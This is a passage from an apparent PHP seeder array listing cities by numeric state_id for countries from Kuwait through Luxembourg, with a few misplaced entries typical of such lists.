'sarbah-an-nasr'],\n ['state_id' => '2089', 'name' => 'warmawk'],\n ['state_id' => '2089', 'name' => 'al-andalus'],\n ['state_id' => '2089', 'name' => 'al-farwaniyah'],\n ['state_id' => '2089', 'name' => 'ar-rabbiyah'],\n ['state_id' => '2090', 'name' => 'amgarah'],\n ['state_id' => '2090', 'name' => 'desert area'],\n ['state_id' => '2090', 'name' => 'nasim'],\n ['state_id' => '2090', 'name' => 'tayma\\''],\n ['state_id' => '2090', 'name' => 'uyawn'],\n ['state_id' => '2090', 'name' => 'waha'],\n ['state_id' => '2090', 'name' => 'al-jahra'],\n ['state_id' => '2090', 'name' => 'al-qusayr'],\n ['state_id' => '2090', 'name' => 'as-sulaybiyah'],\n ['state_id' => '2091', 'name' => '\\'abullah-as-salam'],\n ['state_id' => '2091', 'name' => 'ardhiyah'],\n ['state_id' => '2091', 'name' => 'banayd-al-qar'],\n ['state_id' => '2091', 'name' => 'health district'],\n ['state_id' => '2091', 'name' => 'kayfan'],\n ['state_id' => '2091', 'name' => 'khalidiyah'],\n ['state_id' => '2091', 'name' => 'mansuriyah'],\n ['state_id' => '2091', 'name' => 'nuzha'],\n ['state_id' => '2091', 'name' => 'qarnadah'],\n ['state_id' => '2091', 'name' => 'shamiyah'],\n ['state_id' => '2091', 'name' => 'ad-da\\'iyah'],\n ['state_id' => '2091', 'name' => 'ad-dasma'],\n ['state_id' => '2091', 'name' => 'ad-dawhah'],\n ['state_id' => '2091', 'name' => 'al-\\'udayliyah'],\n ['state_id' => '2091', 'name' => 'al-fayha'],\n ['state_id' => '2091', 'name' => 'al-kuwayt'],\n ['state_id' => '2091', 'name' => 'al-qadisiyah'],\n ['state_id' => '2091', 'name' => 'ar-rawdah'],\n ['state_id' => '2091', 'name' => 'as-sulaybihat'],\n ['state_id' => '2091', 'name' => 'ash-shuwaykh industrial'],\n ['state_id' => '2091', 'name' => 'ash-shuwaykh reservoir'],\n ['state_id' => '2092', 'name' => 'batken'],\n ['state_id' => '2092', 'name' => 'isfana'],\n ['state_id' => '2092', 'name' => 'khaidarkan'],\n ['state_id' => '2092', 'name' => 'kyzyl-kiya'],\n ['state_id' => '2092', 'name' => 'ravat'],\n ['state_id' => '2092', 'name' => 'sulukta'],\n ['state_id' => '2093', 'name' => 'bishkek'],\n ['state_id' => '2094', 'name' => 'ak-suu'],\n ['state_id' => '2094', 'name' => 'belovodskoye'],\n ['state_id' => '2094', 'name' => 'boroldoy'],\n ['state_id' => '2094', 'name' => 'chaldovar'],\n ['state_id' => '2094', 'name' => 'chatkyol'],\n ['state_id' => '2094', 'name' => 'chui'],\n ['state_id' => '2094', 'name' => 'don arik'],\n ['state_id' => '2094', 'name' => 'ivanovka'],\n ['state_id' => '2094', 'name' => 'jangyjar'],\n ['state_id' => '2094', 'name' => 'jangypakhtar'],\n ['state_id' => '2094', 'name' => 'kalininskoye'],\n ['state_id' => '2094', 'name' => 'kalinovka'],\n ['state_id' => '2094', 'name' => 'kant'],\n ['state_id' => '2094', 'name' => 'kara-suu'],\n ['state_id' => '2094', 'name' => 'karabalta'],\n ['state_id' => '2094', 'name' => 'kayingdi'],\n ['state_id' => '2094', 'name' => 'kegety'],\n ['state_id' => '2094', 'name' => 'kemin'],\n ['state_id' => '2094', 'name' => 'kosh tegirmen'],\n ['state_id' => '2094', 'name' => 'krasnaya rechka'],\n ['state_id' => '2094', 'name' => 'orlovka'],\n ['state_id' => '2094', 'name' => 'sokuluk'],\n ['state_id' => '2094', 'name' => 'sopokov'],\n ['state_id' => '2094', 'name' => 'sosnovka'],\n ['state_id' => '2094', 'name' => 'tokmok'],\n ['state_id' => '2094', 'name' => 'tunuk'],\n ['state_id' => '2094', 'name' => 'yuryevka'],\n ['state_id' => '2095', 'name' => 'ak-bulok'],\n ['state_id' => '2095', 'name' => 'ak-terek'],\n ['state_id' => '2095', 'name' => 'ananyevo'],\n ['state_id' => '2095', 'name' => 'balykchy'],\n ['state_id' => '2095', 'name' => 'barskoon'],\n ['state_id' => '2095', 'name' => 'cholpon-ata'],\n ['state_id' => '2095', 'name' => 'darkhon'],\n ['state_id' => '2095', 'name' => 'enilchek'],\n ['state_id' => '2095', 'name' => 'grigoryevka'],\n ['state_id' => '2095', 'name' => 'jyrgolon'],\n ['state_id' => '2095', 'name' => 'kara-say'],\n ['state_id' => '2095', 'name' => 'karako'],\n ['state_id' => '2095', 'name' => 'karakol'],\n ['state_id' => '2095', 'name' => 'kuturgu'],\n ['state_id' => '2095', 'name' => 'mikhaylovka'],\n ['state_id' => '2095', 'name' => 'novovoznesenovka'],\n ['state_id' => '2095', 'name' => 'ottuk'],\n ['state_id' => '2095', 'name' => 'semyonovka'],\n ['state_id' => '2095', 'name' => 'taldy-suu'],\n ['state_id' => '2095', 'name' => 'teploklyuchenka'],\n ['state_id' => '2095', 'name' => 'tyup'],\n ['state_id' => '2096', 'name' => 'ala buka'],\n ['state_id' => '2096', 'name' => 'bazarkurgon'],\n ['state_id' => '2096', 'name' => 'jalal-abad'],\n ['state_id' => '2096', 'name' => 'jangybazar'],\n ['state_id' => '2096', 'name' => 'karavan'],\n ['state_id' => '2096', 'name' => 'kochkor-ata'],\n ['state_id' => '2096', 'name' => 'kok-jangak'],\n ['state_id' => '2096', 'name' => 'mailuu-suu'],\n ['state_id' => '2096', 'name' => 'tash-kumyr'],\n ['state_id' => '2097', 'name' => 'at-bashi'],\n ['state_id' => '2097', 'name' => 'chaiek'],\n ['state_id' => '2097', 'name' => 'kara-suu'],\n ['state_id' => '2097', 'name' => 'kayirma'],\n ['state_id' => '2097', 'name' => 'kek-algyp'],\n ['state_id' => '2097', 'name' => 'kochkorka'],\n ['state_id' => '2097', 'name' => 'kulanak'],\n ['state_id' => '2097', 'name' => 'mingbulok'],\n ['state_id' => '2097', 'name' => 'mingkush'],\n ['state_id' => '2097', 'name' => 'naryn'],\n ['state_id' => '2097', 'name' => 'ugyut'],\n ['state_id' => '2098', 'name' => 'daraut-korgan'],\n ['state_id' => '2098', 'name' => 'gulcha'],\n ['state_id' => '2098', 'name' => 'kara-suu'],\n ['state_id' => '2098', 'name' => 'leninskoye'],\n ['state_id' => '2098', 'name' => 'osh'],\n ['state_id' => '2098', 'name' => 'uzgen'],\n ['state_id' => '2099', 'name' => 'chat-bazar'],\n ['state_id' => '2099', 'name' => 'groznoye'],\n ['state_id' => '2099', 'name' => 'kara-kul'],\n ['state_id' => '2099', 'name' => 'klyuchevka'],\n ['state_id' => '2099', 'name' => 'kyzyl-adyr'],\n ['state_id' => '2099', 'name' => 'leninopol'],\n ['state_id' => '2099', 'name' => 'maimak'],\n ['state_id' => '2099', 'name' => 'talas'],\n ['state_id' => '2099', 'name' => 'toktogul'],\n ['state_id' => '2100', 'name' => 'samakhixai'],\n ['state_id' => '2101', 'name' => 'huayxay'],\n ['state_id' => '2102', 'name' => 'pakxan'],\n ['state_id' => '2103', 'name' => 'champasak'],\n ['state_id' => '2103', 'name' => 'muang khong'],\n ['state_id' => '2103', 'name' => 'muang khongxedon'],\n ['state_id' => '2103', 'name' => 'pakxe'],\n ['state_id' => '2104', 'name' => 'xam nua'],\n ['state_id' => '2105', 'name' => 'thakek'],\n ['state_id' => '2108', 'name' => 'ban nahin'],\n ['state_id' => '2109', 'name' => 'phongsaly'],\n ['state_id' => '2110', 'name' => 'saravan'],\n ['state_id' => '2111', 'name' => 'savannakhet'],\n ['state_id' => '2112', 'name' => 'sekong'],\n ['state_id' => '2115', 'name' => 'xaignabury'],\n ['state_id' => '2117', 'name' => 'aizkraukle'],\n ['state_id' => '2117', 'name' => 'jaunjelgava'],\n ['state_id' => '2117', 'name' => 'plavinas'],\n ['state_id' => '2118', 'name' => 'aluksne'],\n ['state_id' => '2118', 'name' => 'ape'],\n ['state_id' => '2119', 'name' => 'balvi'],\n ['state_id' => '2119', 'name' => 'vilaka'],\n ['state_id' => '2120', 'name' => 'bauska'],\n ['state_id' => '2121', 'name' => 'cesis'],\n ['state_id' => '2121', 'name' => 'ligatne'],\n ['state_id' => '2122', 'name' => 'ilukste'],\n ['state_id' => '2122', 'name' => 'subate'],\n ['state_id' => '2123', 'name' => 'ilukste'],\n ['state_id' => '2123', 'name' => 'subate'],\n ['state_id' => '2124', 'name' => 'auce'],\n ['state_id' => '2124', 'name' => 'dobele'],\n ['state_id' => '2125', 'name' => 'gulbene'],\n ['state_id' => '2126', 'name' => 'akniste'],\n ['state_id' => '2126', 'name' => 'jekabspils'],\n ['state_id' => '2126', 'name' => 'viesite'],\n ['state_id' => '2127', 'name' => 'jelgava'],\n ['state_id' => '2128', 'name' => 'kalnciems'],\n ['state_id' => '2130', 'name' => 'dagda'],\n ['state_id' => '2130', 'name' => 'kraslava'],\n ['state_id' => '2131', 'name' => 'kuldiga'],\n ['state_id' => '2131', 'name' => 'skrunda'],\n ['state_id' => '2132', 'name' => 'liepaja'],\n ['state_id' => '2133', 'name' => 'aizpute'],\n ['state_id' => '2133', 'name' => 'durbe'],\n ['state_id' => '2133', 'name' => 'grobina'],\n ['state_id' => '2133', 'name' => 'pavilosta'],\n ['state_id' => '2133', 'name' => 'priekule'],\n ['state_id' => '2134', 'name' => 'ainazhi'],\n ['state_id' => '2134', 'name' => 'aloja'],\n ['state_id' => '2134', 'name' => 'limbazhi'],\n ['state_id' => '2134', 'name' => 'salacgriva'],\n ['state_id' => '2134', 'name' => 'staicele'],\n ['state_id' => '2135', 'name' => 'karsava'],\n ['state_id' => '2135', 'name' => 'ludza'],\n ['state_id' => '2135', 'name' => 'zilupe'],\n ['state_id' => '2136', 'name' => 'cesvaine'],\n ['state_id' => '2136', 'name' => 'lubana'],\n ['state_id' => '2136', 'name' => 'madona'],\n ['state_id' => '2136', 'name' => 'varaklani'],\n ['state_id' => '2137', 'name' => 'ikskile'],\n ['state_id' => '2137', 'name' => 'kegums'],\n ['state_id' => '2137', 'name' => 'les hautes-rivieres'],\n ['state_id' => '2137', 'name' => 'lielvarde'],\n ['state_id' => '2137', 'name' => 'ogre'],\n ['state_id' => '2138', 'name' => 'livani'],\n ['state_id' => '2138', 'name' => 'preili'],\n ['state_id' => '2139', 'name' => 'rezekne'],\n ['state_id' => '2140', 'name' => 'vilani'],\n ['state_id' => '2141', 'name' => 'riga'],\n ['state_id' => '2142', 'name' => 'baldone'],\n ['state_id' => '2142', 'name' => 'balozhi'],\n ['state_id' => '2142', 'name' => 'olaine'],\n ['state_id' => '2142', 'name' => 'salaspils'],\n ['state_id' => '2142', 'name' => 'saulkrasti'],\n ['state_id' => '2142', 'name' => 'sigulda'],\n ['state_id' => '2142', 'name' => 'vangazhi'],\n ['state_id' => '2143', 'name' => 'broceni'],\n ['state_id' => '2143', 'name' => 'saldus'],\n ['state_id' => '2144', 'name' => 'sabile'],\n ['state_id' => '2144', 'name' => 'stende'],\n ['state_id' => '2144', 'name' => 'talsi'],\n ['state_id' => '2144', 'name' => 'valdemarpils'],\n ['state_id' => '2145', 'name' => 'kandava'],\n ['state_id' => '2145', 'name' => 'tukums'],\n ['state_id' => '2146', 'name' => 'seda'],\n ['state_id' => '2146', 'name' => 'smiltene'],\n ['state_id' => '2146', 'name' => 'strenchi'],\n ['state_id' => '2146', 'name' => 'valka'],\n ['state_id' => '2147', 'name' => 'mazsalaca'],\n ['state_id' => '2147', 'name' => 'rujiena'],\n ['state_id' => '2147', 'name' => 'valmiera'],\n ['state_id' => '2148', 'name' => 'piltene'],\n ['state_id' => '2149', 'name' => 'piltene'],\n ['state_id' => '2150', 'name' => 'beirut'],\n ['state_id' => '2150', 'name' => 'jdeidet el metn'],\n ['state_id' => '2150', 'name' => 'jnaah'],\n ['state_id' => '2154', 'name' => 'sidon'],\n ['state_id' => '2155', 'name' => 'ba\\'labakk'],\n ['state_id' => '2155', 'name' => 'jubb jannin'],\n ['state_id' => '2155', 'name' => 'rashayya'],\n ['state_id' => '2155', 'name' => 'riyak'],\n ['state_id' => '2155', 'name' => 'zahlah'],\n ['state_id' => '2155', 'name' => 'al-hirmil'],\n ['state_id' => '2156', 'name' => 'jazzin'],\n ['state_id' => '2156', 'name' => 'juwayya'],\n ['state_id' => '2156', 'name' => 'sayda\\''],\n ['state_id' => '2156', 'name' => 'sur'],\n ['state_id' => '2157', 'name' => 'marj \\'uyun'],\n ['state_id' => '2157', 'name' => 'nabatieh'],\n ['state_id' => '2157', 'name' => 'an-nabatiyat-at-tahta'],\n ['state_id' => '2158', 'name' => 'tarabulus ash-sham'],\n ['state_id' => '2158', 'name' => 'al-batrun'],\n ['state_id' => '2159', 'name' => 'teyateyaneng'],\n ['state_id' => '2160', 'name' => 'butha buthe'],\n ['state_id' => '2161', 'name' => 'hlotse'],\n ['state_id' => '2161', 'name' => 'maputsoa'],\n ['state_id' => '2162', 'name' => 'mafeteng'],\n ['state_id' => '2163', 'name' => 'maseru'],\n ['state_id' => '2165', 'name' => 'mokhotlong'],\n ['state_id' => '2167', 'name' => 'quthing'],\n ['state_id' => '2168', 'name' => 'thaba-tseka'],\n ['state_id' => '2169', 'name' => 'tubmanburg'],\n ['state_id' => '2170', 'name' => 'gbarnga'],\n ['state_id' => '2174', 'name' => 'voinjama'],\n ['state_id' => '2175', 'name' => 'harbel'],\n ['state_id' => '2175', 'name' => 'kakata'],\n ['state_id' => '2177', 'name' => 'bensonville'],\n ['state_id' => '2177', 'name' => 'monrovia'],\n ['state_id' => '2178', 'name' => 'ganta'],\n ['state_id' => '2178', 'name' => 'sanniquellie'],\n ['state_id' => '2178', 'name' => 'yekepa'],\n ['state_id' => '2179', 'name' => 'rivercess'],\n ['state_id' => '2180', 'name' => 'greenville'],\n ['state_id' => '2181', 'name' => 'ajdabiya'],\n ['state_id' => '2181', 'name' => 'awjilah'],\n ['state_id' => '2181', 'name' => 'marsa al-burayqah'],\n ['state_id' => '2181', 'name' => 'az-zuwaytinah'],\n ['state_id' => '2182', 'name' => 'awbari'],\n ['state_id' => '2182', 'name' => 'ghat'],\n ['state_id' => '2183', 'name' => 'banghazi'],\n ['state_id' => '2183', 'name' => 'suluq'],\n ['state_id' => '2183', 'name' => 'al-quriyah'],\n ['state_id' => '2184', 'name' => 'darnah'],\n ['state_id' => '2185', 'name' => 'ghadamis'],\n ['state_id' => '2185', 'name' => 'nalut'],\n ['state_id' => '2186', 'name' => 'gharyan'],\n ['state_id' => '2186', 'name' => 'mizdah'],\n ['state_id' => '2186', 'name' => 'al-qaryah-ash-sharqiyah'],\n ['state_id' => '2187', 'name' => 'misratah'],\n ['state_id' => '2188', 'name' => 'murzuq'],\n ['state_id' => '2189', 'name' => 'sabha'],\n ['state_id' => '2190', 'name' => 'bani walid'],\n ['state_id' => '2191', 'name' => 'surt'],\n ['state_id' => '2192', 'name' => 'tarabulus'],\n ['state_id' => '2192', 'name' => 'tripoli'],\n ['state_id' => '2193', 'name' => 'tarhunah'],\n ['state_id' => '2194', 'name' => 'misrata'],\n ['state_id' => '2195', 'name' => 'bardiyah'],\n ['state_id' => '2195', 'name' => 'tubruq'],\n ['state_id' => '2196', 'name' => 'yafran'],\n ['state_id' => '2197', 'name' => 'zlitan'],\n ['state_id' => '2198', 'name' => 'al-aziziyah'],\n ['state_id' => '2199', 'name' => 'al-abyar'],\n ['state_id' => '2199', 'name' => 'al-marj'],\n ['state_id' => '2201', 'name' => 'waddan'],\n ['state_id' => '2202', 'name' => 'al-khums'],\n ['state_id' => '2203', 'name' => 'al-jawf'],\n ['state_id' => '2205', 'name' => 'birak'],\n ['state_id' => '2206', 'name' => 'az-zawiyah'],\n ['state_id' => '2207', 'name' => 'balzers'],\n ['state_id' => '2208', 'name' => 'eschen'],\n ['state_id' => '2209', 'name' => 'gamprin'],\n ['state_id' => '2210', 'name' => 'mauren'],\n ['state_id' => '2211', 'name' => 'planken'],\n ['state_id' => '2212', 'name' => 'ruggell'],\n ['state_id' => '2213', 'name' => 'schaan'],\n ['state_id' => '2214', 'name' => 'schellenberg'],\n ['state_id' => '2215', 'name' => 'triesen'],\n ['state_id' => '2216', 'name' => 'triesenberg'],\n ['state_id' => '2217', 'name' => 'vaduz'],\n ['state_id' => '2218', 'name' => 'alytus'],\n ['state_id' => '2218', 'name' => 'daugai'],\n ['state_id' => '2218', 'name' => 'druskininkai'],\n ['state_id' => '2218', 'name' => 'lazdijai'],\n ['state_id' => '2218', 'name' => 'simnas'],\n ['state_id' => '2218', 'name' => 'varena'],\n ['state_id' => '2218', 'name' => 'veisiejai'],\n ['state_id' => '2219', 'name' => 'anyksciai'],\n ['state_id' => '2220', 'name' => 'ariogala'],\n ['state_id' => '2220', 'name' => 'birshtonas'],\n ['state_id' => '2220', 'name' => 'dotnuva'],\n ['state_id' => '2220', 'name' => 'ezherelis'],\n ['state_id' => '2220', 'name' => 'garliava'],\n ['state_id' => '2220', 'name' => 'jieznas'],\n ['state_id' => '2220', 'name' => 'jonava'],\n ['state_id' => '2220', 'name' => 'kachergine'],\n ['state_id' => '2220', 'name' => 'kaishiadorys'],\n ['state_id' => '2220', 'name' => 'kaunas'],\n ['state_id' => '2220', 'name' => 'kedainiai'],\n ['state_id' => '2220', 'name' => 'kulautuva'],\n ['state_id' => '2220', 'name' => 'prienai'],\n ['state_id' => '2220', 'name' => 'raseiniai'],\n ['state_id' => '2220', 'name' => 'vilkija'],\n ['state_id' => '2220', 'name' => 'zhiezhmariai'],\n ['state_id' => '2221', 'name' => 'gargzhdai'],\n ['state_id' => '2221', 'name' => 'klaipeda'],\n ['state_id' => '2221', 'name' => 'kretinga'],\n ['state_id' => '2221', 'name' => 'neringa'],\n ['state_id' => '2221', 'name' => 'pagegiai'],\n ['state_id' => '2221', 'name' => 'palanga'],\n ['state_id' => '2221', 'name' => 'panemune'],\n ['state_id' => '2221', 'name' => 'priekule'],\n ['state_id' => '2221', 'name' => 'rusne'],\n ['state_id' => '2221', 'name' => 'salantai'],\n ['state_id' => '2221', 'name' => 'shilute'],\n ['state_id' => '2221', 'name' => 'skuodas'],\n ['state_id' => '2221', 'name' => 'zhemaichiu naumiestis'],\n ['state_id' => '2222', 'name' => 'gelgaudishkis'],\n ['state_id' => '2222', 'name' => 'kalvarija'],\n ['state_id' => '2222', 'name' => 'kazlu ruda'],\n ['state_id' => '2222', 'name' => 'kudirkos naumiestis'],\n ['state_id' => '2222', 'name' => 'kybartai'],\n ['state_id' => '2222', 'name' => 'marijampole'],\n ['state_id' => '2222', 'name' => 'shakiai'],\n ['state_id' => '2222', 'name' => 'vilkavishkis'],\n ['state_id' => '2222', 'name' => 'virbalis'],\n ['state_id' => '2223', 'name' => 'birzhai'],\n ['state_id' => '2223', 'name' => 'jonishkelis'],\n ['state_id' => '2223', 'name' => 'juodupe'],\n ['state_id' => '2223', 'name' => 'kupishkis'],\n ['state_id' => '2223', 'name' => 'obeliai'],\n ['state_id' => '2223', 'name' => 'pandelys'],\n ['state_id' => '2223', 'name' => 'panevezhys'],\n ['state_id' => '2223', 'name' => 'panevezio'],\n ['state_id' => '2223', 'name' => 'pasvalys'],\n ['state_id' => '2223', 'name' => 'ramygala'],\n ['state_id' => '2223', 'name' => 'rokishkis'],\n ['state_id' => '2223', 'name' => 'subachius'],\n ['state_id' => '2223', 'name' => 'vabalninkas'],\n ['state_id' => '2224', 'name' => 'panevezys'],\n ['state_id' => '2225', 'name' => 'akmene'],\n ['state_id' => '2225', 'name' => 'jonishkis'],\n ['state_id' => '2225', 'name' => 'kelme'],\n ['state_id' => '2225', 'name' => 'kurshenai'],\n ['state_id' => '2225', 'name' => 'linkuva'],\n ['state_id' => '2225', 'name' => 'naujoji akmene'],\n ['state_id' => '2225', 'name' => 'pakruojis'],\n ['state_id' => '2225', 'name' => 'radvilishkis'],\n ['state_id' => '2225', 'name' => 'sheduva'],\n ['state_id' => '2225', 'name' => 'shiauliai'],\n ['state_id' => '2225', 'name' => 'siauliai'],\n ['state_id' => '2225', 'name' => 'tyruliai'],\n ['state_id' => '2225', 'name' => 'tytuvenai'],\n ['state_id' => '2225', 'name' => 'uzhventis'],\n ['state_id' => '2225', 'name' => 'venta'],\n ['state_id' => '2225', 'name' => 'viekshniai'],\n ['state_id' => '2225', 'name' => 'zhagare'],\n ['state_id' => '2226', 'name' => 'jurbarkas'],\n ['state_id' => '2226', 'name' => 'shilale'],\n ['state_id' => '2226', 'name' => 'skaudvile'],\n ['state_id' => '2226', 'name' => 'smalininkai'],\n ['state_id' => '2226', 'name' => 'taurage'],\n ['state_id' => '2227', 'name' => 'guglingen'],\n ['state_id' => '2227', 'name' => 'mazheikiai'],\n ['state_id' => '2227', 'name' => 'plunge'],\n ['state_id' => '2227', 'name' => 'rietavas'],\n ['state_id' => '2227', 'name' => 'seda'],\n ['state_id' => '2227', 'name' => 'telshiai'],\n ['state_id' => '2227', 'name' => 'varniai'],\n ['state_id' => '2228', 'name' => 'mazeikiai'],\n ['state_id' => '2229', 'name' => 'anykshchiai'],\n ['state_id' => '2229', 'name' => 'dukshtas'],\n ['state_id' => '2229', 'name' => 'dusetos'],\n ['state_id' => '2229', 'name' => 'ignalina'],\n ['state_id' => '2229', 'name' => 'kavarskas'],\n ['state_id' => '2229', 'name' => 'moletai'],\n ['state_id' => '2229', 'name' => 'troshkunai'],\n ['state_id' => '2229', 'name' => 'turmantas'],\n ['state_id' => '2229', 'name' => 'utena'],\n ['state_id' => '2229', 'name' => 'visaginas'],\n ['state_id' => '2229', 'name' => 'zarasai'],\n ['state_id' => '2230', 'name' => 'baltoji voke'],\n ['state_id' => '2230', 'name' => 'eishishkes'],\n ['state_id' => '2230', 'name' => 'elektrenai'],\n ['state_id' => '2230', 'name' => 'grigishkes'],\n ['state_id' => '2230', 'name' => 'lentvaris'],\n ['state_id' => '2230', 'name' => 'nemenchine'],\n ['state_id' => '2230', 'name' => 'pabrade'],\n ['state_id' => '2230', 'name' => 'rudishkes'],\n ['state_id' => '2230', 'name' => 'shalchininkai'],\n ['state_id' => '2230', 'name' => 'shirvintos'],\n ['state_id' => '2230', 'name' => 'shvenchioneliai'],\n ['state_id' => '2230', 'name' => 'shvenchionys'],\n ['state_id' => '2230', 'name' => 'trakai'],\n ['state_id' => '2230', 'name' => 'ukmerge'],\n ['state_id' => '2230', 'name' => 'vievis'],\n ['state_id' => '2230', 'name' => 'vilnius'],\n ['state_id' => '2231', 'name' => 'bascharage'],\n ['state_id' => '2231', 'name' => 'bettange-sur-mess'],\n ['state_id' => '2231', 'name' => 'bridel'],\n ['state_id' => '2231', 'name' => 'capellen'],\n ['state_id' => '2231', 'name' => 'clemency'],\n ['state_id' => '2231', 'name' => 'dahlem'],\n ['state_id' => '2231', 'name' => 'dippach'],\n ['state_id' => '2231', 'name' => 'dondelange'],\n ['state_id' => '2231', 'name' => 'eischen'],\n ['state_id' => '2231', 'name' => 'fingig'],\n ['state_id' => '2231', 'name' => 'garnich'],\n ['state_id' => '2231', 'name' => 'goeblange'],\n ['state_id' => '2231', 'name' => 'goetzingen'],\n ['state_id' => '2231', 'name' => 'grass'],\n ['state_id' => '2231', 'name' => 'greisch'],\n ['state_id' => '2231', 'name' => 'hagen'],\n ['state_id' => '2231', 'name' => 'hautcharage'],\n ['state_id' => '2231', 'name' => 'hivange'],\n ['state_id' => '2231', 'name' => 'hobscheid'],\n ['state_id' => '2231', 'name' => 'holzem'],\n ['state_id' => '2231', 'name' => 'kahler'],\n ['state_id' => '2231', 'name' => 'kehlen'],\n ['state_id' => '2231', 'name' => 'keispelt'],\n ['state_id' => '2231', 'name' => 'kleinbettingen'],\n ['state_id' => '2231', 'name' => 'koerich'],\n ['state_id' => '2231', 'name' => 'kospstal'],\n ['state_id' => '2231', 'name' => 'linger'],\n ['state_id' => '2231', 'name' => 'mamer'],\n ['state_id' => '2231', 'name' => 'meispelt'],\n ['state_id' => '2231', 'name' => 'nospelt'],\n ['state_id' => '2231', 'name' => 'olm'],\n ['state_id' => '2231', 'name' => 'roodt'],\n ['state_id' => '2231', 'name' => 'schouweiler'],\n ['state_id' => '2231', 'name' => 'septfontaines'],\n ['state_id' => '2231', 'name' => 'sprinkange'],\n ['state_id' => '2231', 'name' => 'steinfort'],\n ['state_id' => '2232', 'name' => 'allerborn'],\n ['state_id' => '2232', 'name' => 'asselborn'],\n ['state_id' => '2232', 'name' => 'basbellain'],\n ['state_id' => '2232', 'name' => 'beiler'],\n ['state_id' => '2232', 'name' => 'binsfeld'],\n ['state_id' => '2232', 'name' => 'biwisch'],\n ['state_id' => '2232', 'name' => 'bockholtz'],\n ['state_id' => '2232', 'name' => 'boevange'],\n ['state_id' => '2232', 'name' => 'boxhorn'],\n ['state_id' => '2232', 'name' => 'brachtenbach'],\n ['state_id' => '2232', 'name' => 'breidfeld'],\n ['state_id' => '2232', 'name' => 'cinqfontaines'],\n ['state_id' => '2232', 'name' => 'clervaux'],\n ['state_id' => '2232', 'name' => 'consthum'],\n ['state_id' => '2232', 'name' => 'crendal'],\n ['state_id' => '2232', 'name' => 'deiffelt-lentzweiler'],\n ['state_id' => '2232', 'name' => 'derenbach'],\n ['state_id' => '2232', 'name' => 'doennange'],\n ['state_id' => '2232', 'name' => 'dorscheid'],\n ['state_id' => '2232', 'name' => 'drauffelt'],\n ['state_id' => '2232', 'name' => 'drinklange'],\n ['state_id' => '2232', 'name' => 'eisenbach'],\n ['state_id' => '2232', 'name' => 'eselborn'],\n ['state_id' => '2232', 'name' => 'fischbach'],\n ['state_id' => '2232', 'name' => 'goedange'],\n ['state_id' => '2232', 'name' => 'grindhausen'],\n ['state_id' => '2232', 'name' => 'hachiville'],\n ['state_id' => '2232', 'name' => 'hamiville'],\n ['state_id' => '2232', 'name' => 'hautbellain'],\n ['state_id' => '2232', 'name' => 'heinerscheid'],\n ['state_id' => '2232', 'name' => 'hoffelt'],\n ['state_id' => '2232', 'name' => 'holler'],\n ['state_id' => '2232', 'name' => 'holzthum'],\n ['state_id' => '2232', 'name' => 'hosingen'],\n ['state_id' => '2232', 'name' => 'huldange'],\n ['state_id' => '2232', 'name' => 'hupperdange'],\n ['state_id' => '2232', 'name' => 'kalborn'],\n ['state_id' => '2232', 'name' => 'leithum'],\n ['state_id' => '2232', 'name' => 'lieler'],\n ['state_id' => '2232', 'name' => 'lullange'],\n ['state_id' => '2232', 'name' => 'marnach'],\n ['state_id' => '2232', 'name' => 'maulusmuehle'],\n ['state_id' => '2232', 'name' => 'munshausen'],\n ['state_id' => '2232', 'name' => 'neidhausen'],\n ['state_id' => '2232', 'name' => 'niederwampach-schimpach'],\n ['state_id' => '2232', 'name' => 'oberwampach'],\n ['state_id' => '2232', 'name' => 'reuler'],\n ['state_id' => '2232', 'name' => 'roder'],\n ['state_id' => '2232', 'name' => 'rodershausen'],\n ['state_id' => '2232', 'name' => 'rumlange-lentzweiler'],\n ['state_id' => '2232', 'name' => 'sassel'],\n ['state_id' => '2232', 'name' => 'siebenaler'],\n ['state_id' => '2232', 'name' => 'stockem'],\n ['state_id' => '2232', 'name' => 'troine-hinterhasselt'],\n ['state_id' => '2232', 'name' => 'troine-route'],\n ['state_id' => '2232', 'name' => 'troisvierges'],\n ['state_id' => '2232', 'name' => 'urspelt'],\n ['state_id' => '2232', 'name' => 'wahlhausen'],\n ['state_id' => '2232', 'name' => 'weicherdange'],\n ['state_id' => '2232', 'name' => 'weiler'],\n ['state_id' => '2232', 'name' => 'weiswampach'],\n ['state_id' => '2232', 'name' => 'wilwerdange'],\n ['state_id' => '2232', 'name' => 'wincrange'],\n ['state_id' => '2233', 'name' => 'bastendorf'],\n ['state_id' => '2233', 'name' => 'bettendorf'],\n ['state_id' => '2233', 'name' => 'bigelbach'],\n ['state_id' => '2233', 'name' => 'bourscheid'],\n ['state_id' => '2233', 'name' => 'brandenbourg'],\n ['state_id' => '2233', 'name' => 'burden'],\n ['state_id' => '2233', 'name' => 'diekirch'],\n ['state_id' => '2233', 'name' => 'eppeldorf'],\n ['state_id' => '2233', 'name' => 'ermsdorf'],\n ['state_id' => '2233', 'name' => 'erpeldange'],\n ['state_id' => '2233', 'name' => 'ettelbruck'],\n ['state_id' => '2233', 'name' => 'folkendange'],\n ['state_id' => '2233', 'name' => 'gilsdorf'],\n ['state_id' => '2233', 'name' => 'hoesdorf'],\n ['state_id' => '2233', 'name' => 'hoscheid'],\n ['state_id' => '2233', 'name' => 'hoscheid-dickt'],\n ['state_id' => '2233', 'name' => 'ingeldorf'],\n ['state_id' => '2233', 'name' => 'kehmen-scheidel'],\n ['state_id' => '2233', 'name' => 'landscheid'],\n ['state_id' => '2233', 'name' => 'lipperscheid'],\n ['state_id' => '2233', 'name' => 'medernach'],\n ['state_id' => '2233', 'name' => 'mertzig'],\n ['state_id' => '2233', 'name' => 'michelau'],\n ['state_id' => '2233', 'name' => 'moestroff'],\n ['state_id' => '2233', 'name' => 'niederfeulen'],\n ['state_id' => '2233', 'name' => 'oberfeulen'],\n ['state_id' => '2233', 'name' => 'reisdorf'],\n ['state_id' => '2233', 'name' => 'savelborn + fermes'],\n ['state_id' => '2233', 'name' => 'schieren'],\n ['state_id' => '2233', 'name' => 'schlindermanderscheid'],\n ['state_id' => '2233', 'name' => 'stegen'],\n ['state_id' => '2233', 'name' => 'tandel'],\n ['state_id' => '2233', 'name' => 'wallendorf'],\n ['state_id' => '2233', 'name' => 'warken'],\n ['state_id' => '2233', 'name' => 'welscheid'],\n ['state_id' => '2234', 'name' => 'altrier'],\n ['state_id' => '2234', 'name' => 'beaufort'],\n ['state_id' => '2234', 'name' => 'bech'],\n ['state_id' => '2234', 'name' => 'berdorf'],\n ['state_id' => '2234', 'name' => 'bollendorf-pont'],\n ['state_id' => '2234', 'name' => 'born'],\n ['state_id' => '2234', 'name' => 'boursdorf'],\n ['state_id' => '2234', 'name' => 'breidweiler'],\n ['state_id' => '2234', 